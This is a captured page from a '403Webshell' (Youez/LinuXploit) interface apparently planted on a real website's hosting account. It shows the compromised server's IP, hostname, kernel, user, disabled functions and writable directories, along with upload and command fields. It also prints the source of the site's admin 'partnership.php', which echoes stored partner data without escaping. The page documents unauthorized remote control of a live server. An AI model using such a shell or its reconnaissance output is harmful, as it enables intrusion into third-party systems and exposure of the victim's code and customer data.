403Webshell
Server IP : 108.170.25.35  /  Your IP : 18.191.162.21
Web Server : Apache/2
System : Linux gains.winzonesoftech.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : softechwinzone ( 1579)
PHP Version : 8.1.28
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/softechwinzone/domains/winzonesoftech.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/softechwinzone/domains/winzonesoftech.in/public_html/admin//partnership.php
<?php include('session.php')?>
<?php include('header.php')?>
  <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">
<style>
img.banner {
    width: auto;
    height: 86px;
}
.flt
{
	float:left;
}
.pull-right
{
	float:right
}
table.dataTable thead > tr > th.sorting
{
	padding-right: 5px!important;
}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script
			src="https://cdnjs.cloudflare.com/ajax/libs/html2pdf.js/0.10.1/html2pdf.bundle.min.js"
			integrity="sha512-GsLlZN/3F2ErC5ifS5QtgpiJtWd43JWSuIgh7mbzZ8zBps+dvLusV+eNQATqgA/HdeKFVgA5v3S/cIrLF7QnIg=="
			crossorigin="anonymous"
			referrerpolicy="no-referrer"
		></script>
 
<body id="page-top">

  <!-- Page Wrapper -->
  <div id="wrapper">

    <!-- Sidebar -->
    <?php include('sidebar.php')?>
    <!-- End of Sidebar -->

    <!-- Content Wrapper -->
    <div id="content-wrapper" class="d-flex flex-column">

      <!-- Main Content -->
      <div id="content">

        <!-- Topbar -->
        <?php include('topbar.php')?>
        <!-- End of Topbar -->

        <!-- Begin Page Content -->
        <div class="container-fluid">

          <!-- Page Heading -->
          <div class="d-sm-flex align-items-center justify-content-between mb-4">
            <h1 class="h3 mb-0 text-gray-800">Partnership Details</h1>
            </div>


											
											
		
 <!-- DataTales Example -->

          <!-- DataTales Example -->
          <div class="card shadow mb-4">
            <div class="card-header py-3">
              <h6 class="m-0 font-weight-bold text-primary flt">Inserted Data List</h6>
             <button class="pull-right" id="download-button">PDF Download</button>
            </div>
            <div class="card-body" id="invoice">
              <div class="table-responsive" >
  
                <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0">
				<div >
                  <thead >
                    <tr>
                      <th>S.No</th> 
                      <th>Business name</th> 
                      <th>Address</th> 
                      <th>Partner's Name</th> 
                      <th>Partner's Email</th> 
                      <th>Phone Number</th> 
                      <th>Business Purpose</th> 
                    </tr>
                  </thead>
                  
                  <tbody>
                    <?php
					 $x=1;
$sql=mysqli_query($conn,"SELECT * FROM `partnership` ORDER BY `id` DESC");
while($row=mysqli_fetch_array($sql))
/**$cnt=1;
if($query->rowCount() > 0)
{
foreach($results as $row) **/
{
?>
  <tr>
    <td><?php echo $x; ?></td>
	<td><?php echo $row['bname']; ?></td>
	<td><?php echo $row['address']; ?></td>
	<td><?php echo $row['name']; ?></td>
	<td><?php echo $row['email']; ?></td>
	<td><?php echo $row['phone']; ?></td>
	<td><?php echo $row['message']; ?></td>
  </tr>
   <?php 
   $x++;
   } 

   echo '<script type="text/javascript"> drawChart(); </script>'; 
   ?>		
                  </tbody>
                </div>
                </table>
				
          
         </div>  
        </div>	
		</div>	

										
											
        
        </div>
        <!-- /.container-fluid -->

      </div>
      <!-- End of Main Content -->
<script>
			const button = document.getElementById('download-button');

			function generatePDF() {
				// Choose the element that your content will be rendered to.
				const element = document.getElementById('invoice');
				// Choose the element and save the PDF for your user.
				html2pdf().from(element).save();
			}

			button.addEventListener('click', generatePDF);
		</script>
		
    
<?php include('footer.php')?>

Youez - 2016 - github.com/yon3zu
LinuXploit